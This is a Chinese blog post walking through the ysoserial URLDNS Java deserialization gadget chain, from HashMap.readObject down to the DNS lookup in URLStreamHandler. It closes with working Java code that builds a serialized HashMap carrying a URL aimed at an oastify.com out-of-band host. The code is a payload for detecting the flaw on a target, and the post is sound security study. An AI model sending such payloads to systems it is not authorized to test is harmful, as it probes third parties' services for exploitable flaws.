JAVA反序列化-URLDNS链
URLDNS是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:
- 不限制jdk版本,使用Java内置类,对第三方依赖没有要求。
- 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞。
- URLDNS利用链,只能发起DNS请求,并不能进行其他利用。
ysoserial中列出的Gadget:
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
在HashMap.readObject
中,会调用自己的hash
方法。跟进
在HashMap#hash
中,会调用key
自身的hashCode
方法。
所以,如果向HashMap
中传入URL
对象,在反序列化过程中便会进入URL
的hashCode
方法;在URL
的hashCode
方法中,会调用handler.hashCode
方法。跟进会进入URLStreamHandler
中。
在URLStreamHandler.hashCode
方法中可以看到,会调用getHostAddress
发起一个dns
查询。
以上是整个链的流程,下面是注意的细节:
在调用hashmap
的put
方法时,也会调用hash
,进而会发送一个dns
查询 。
所以,为了避免这次的dns
查询,ysoserial
创建了一个SilentURLStreamHandler
类,直接返回null
来解决。
也可以在put
操作前,将hashCode
的值设置成不为-1
的其他值。
完整代码:
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
URL url = new URL("http://w5201om3r4g559izvz538dpd84eu2j.oastify.com");
Class c = url.getClass();
Field hashCodeF = c.getDeclaredField("hashCode");
hashCodeF.setAccessible(true);
hashCodeF.set(url,123);
// 如果url对象中的hashcode!=-1,就直接返回,否则会进行一次hashcode的计算
hashMap.put(url,1);
// 再改为-1,在反序列化的时候,会调用URL的hashcode方法,会进行一次dns解析
// 反序列化时,会自动调用自身的readObject方法
hashCodeF.set(url,-1);
serialize(hashMap);
总结
hashmap
作为source
入口内,可以在反序列化时,调用key
的hashcode
函数。
本文来自博客园,作者:Jarwu,转载请注明原文链接:https://www.cnblogs.com/jarwu/p/17669522.html